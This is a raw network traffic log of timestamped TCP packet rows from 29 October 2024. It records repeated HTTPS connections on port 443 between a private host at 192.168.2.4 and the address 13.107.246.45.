Oct 29, 2024 04:17:58.250927925 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.250941038 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.349605083 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.349909067 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.349950075 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.362420082 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.362576008 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.362668037 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.368084908 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.368237972 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.368302107 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.377991915 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.377991915 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.378010035 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.378021002 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.379355907 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.379555941 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.379723072 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.379959106 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.379959106 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.379966021 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.379973888 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.385806084 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.385827065 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.385839939 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.385847092 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.385884047 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.386024952 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.386198997 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.387166977 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.387167931 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.387193918 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.387217999 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.388359070 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.388359070 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.388397932 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.388422012 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.393018961 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.393053055 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.393130064 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.393757105 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.393781900 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.394661903 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.394711971 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.394907951 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.395025015 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.395055056 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.395998001 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.396080017 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.396178961 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.396338940 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.396399975 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.396465063 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.396615982 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.396639109 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.397228003 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.397252083 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.397341013 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.397370100 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.397366047 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.397425890 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.397439003 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.115446091 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.115904093 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.115927935 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.116408110 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.116419077 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.132760048 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.133142948 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.133182049 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.133780003 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.133793116 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.146493912 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.146836042 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.146868944 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.147191048 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.147206068 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.150461912 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.150772095 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.150830984 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.151143074 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.151155949 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.171938896 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.172266960 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.172286034 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.172733068 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.172738075 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.246380091 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.246512890 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.246607065 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.246731997 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.246731997 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.246754885 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.246777058 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.248897076 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.248944044 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.249027967 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.249109983 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.249124050 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.262880087 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.264615059 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.267554998 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.267599106 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.267599106 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.267623901 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.267643929 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.269319057 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.269347906 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.271553040 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.271671057 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.271678925 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.277704000 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.277913094 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.279556990 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.279675961 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.279675961 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.279709101 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.279740095 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.281364918 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.281445980 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.283647060 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.283700943 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.283715010 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.284904003 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.285063982 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.287560940 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.287695885 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.287718058 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.287731886 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.287739038 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.289388895 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.289397955 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.289465904 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.289578915 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.289588928 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.309164047 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.309607983 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.311558962 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.311687946 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.311687946 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.311705112 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.311774015 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.313473940 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.313560963 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:59.315566063 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.315668106 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:59.315692902 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.009666920 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.015531063 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.037695885 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.053668976 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.058892012 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.061923027 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.062419891 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.062427044 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.062896967 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.062901974 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.063246012 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.063304901 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.063673973 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.063688993 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.064723969 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.064739943 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.065114975 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.065124989 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.065340996 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.065366983 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.083527088 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.090658903 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.090678930 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.183919907 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.183924913 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.187860966 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.187865973 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.190301895 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.190733910 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.190819025 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.191699982 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.191710949 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.191720963 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.191725969 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.191860914 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.192418098 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.192497969 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.195856094 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.195884943 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.195924997 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.195939064 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.198622942 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.198750019 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.198827028 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.199579000 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.199589968 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.221801043 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.222083092 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.223125935 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.233196020 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.233227968 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.233320951 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.233335972 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.256681919 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.256736040 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.256865978 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.258843899 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.258871078 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.259051085 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.259092093 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.259144068 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.259373903 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.259391069 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.260030985 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.260073900 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.260166883 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.260406017 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.260430098 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.260437965 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.260466099 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.260548115 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.260708094 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.260736942 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.316118002 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.316273928 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.316325903 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.324660063 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.324666023 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.324719906 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.324723959 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.336472988 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.336484909 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.336535931 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.336702108 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.336711884 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.996990919 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.997509003 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.997555017 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:00.997905016 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:00.997919083 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.003531933 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.004538059 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.004554033 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.004942894 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.004952908 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.012358904 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.012669086 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.012725115 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.013078928 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.013096094 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.029514074 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.029870987 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.029897928 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.030241013 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.030251026 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.089772940 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.090116024 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.090131044 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.090447903 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.090452909 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.128886938 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.129211903 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.129281044 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.129406929 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.129451990 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.129491091 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.129506111 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.135704994 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.135848045 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.135909081 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.139715910 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.139787912 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.139872074 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.140697002 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.140697002 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.140718937 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.140741110 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.140831947 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.140863895 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.143476009 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.143493891 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.143556118 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.143663883 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.143673897 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.144226074 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.144376993 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.144435883 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.144531965 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.144531965 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.144563913 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.144591093 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.147250891 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.147274971 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.147346973 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.147465944 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.147494078 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.165910959 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.165980101 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.166038990 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.166142941 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.166142941 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.166161060 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.166181087 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.167891026 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.167926073 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.167988062 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.168081999 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.168097973 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.223705053 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.224394083 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.224456072 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.224476099 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.224481106 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.224489927 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.224495888 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.226078033 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.226106882 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.226181984 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.226285934 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.226304054 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.885979891 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.886291027 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.886499882 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.886528969 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.886799097 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.886832952 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.886962891 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.886969090 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.887288094 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.887304068 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.892987967 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.893254042 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.893274069 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.893589020 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.893594980 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.897597075 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.897840023 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.897855997 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.898148060 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.898159981 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.964658976 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 04:18:01.965161085 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:18:01.965182066 CET	443	49801	13.107.246.45	192.168.2.4
